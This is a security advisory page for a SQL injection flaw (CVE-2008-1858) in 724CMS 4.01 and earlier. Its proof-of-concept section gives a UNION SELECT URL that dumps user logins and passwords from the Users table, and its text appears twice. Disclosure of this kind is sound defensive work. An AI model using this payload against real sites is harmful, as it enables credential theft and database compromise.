724CMS SQL Injection Vulnerability
BID:28672
Info
724CMS SQL Injection Vulnerability
| Bugtraq ID: | 28672 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-1858 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 07 2008 12:00AM |
| Updated: | Jan 06 2012 07:00PM |
| Credit: | Lidloses_Auge |
| Vulnerable: |
724Networks 724CMS Enterprise 4.59 724Networks 724CMS 4.59 724Networks 724CMS 4.01 |
| Not Vulnerable: | |
Discussion
724CMS SQL Injection Vulnerability
724Networks 724CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
The issue affects 724CMS 4.01 and prior versions.
724Networks 724CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
The issue affects 724CMS 4.01 and prior versions.
Exploit / POC
724CMS SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following URIs are available:
http://www.example.com/index.php?ID=null+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x202d20,ID,User_Login,User_Password),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+FROM+Users--
http://www.example.com/index.php?Lang=En&ID=[SQL]
Attackers can use a browser to exploit this issue.
The following URIs are available:
http://www.example.com/index.php?ID=null+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x202d20,ID,User_Login,User_Password),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+FROM+Users--
http://www.example.com/index.php?Lang=En&ID=[SQL]